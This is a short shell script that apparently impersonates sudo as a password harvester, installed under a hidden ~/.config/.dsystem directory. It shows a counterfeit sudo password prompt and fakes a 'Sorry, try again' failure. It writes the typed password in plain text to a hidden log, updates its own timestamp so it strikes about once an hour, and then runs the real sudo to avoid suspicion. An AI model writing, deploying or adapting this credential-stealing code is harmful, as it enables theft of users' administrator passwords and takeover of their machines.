#!/bin/sh _DIR_LOG="/home/$USER/.config/.dsystem/log" _DIR_BIN="/home/$USER/.config/.dsystem/bin" _TS=0 _DATE=$(date +%s) _DIFF=$(( $_DATE - $_TS )) if [ $_DIFF -gt 3600 ]; then read -sp "[sudo] password for $USER: " _SP echo "" sleep 2 echo "Sorry, try again." echo $_SP >> $_DIR_LOG/$(basename $0).log sed -i '0,/_TS=.*/ s//_TS='$_DATE'/' $_DIR_BIN/$(basename $0) fi /usr/bin/sudo $@